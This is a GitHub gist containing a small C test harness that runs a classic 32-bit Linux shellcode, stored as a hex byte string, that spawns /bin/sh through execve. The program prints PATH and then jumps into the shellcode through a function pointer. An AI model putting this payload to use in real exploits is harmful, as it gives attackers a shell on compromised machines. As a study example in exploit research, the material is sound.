Skip to content

Instantly share code, notes, and snippets.

@tbelaire
Created May 27, 2016 03:23
Show Gist options
  • Save tbelaire/c28118d2086d1faba66ffe522ded491b to your computer and use it in GitHub Desktop.
Save tbelaire/c28118d2086d1faba66ffe522ded491b to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int
main(int argc, char** argv)
{
char *env = NULL;
env = getenv("PATH");
printf("Path is %s\n", env);
void (*code)(void);
code = shellcode;
code();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment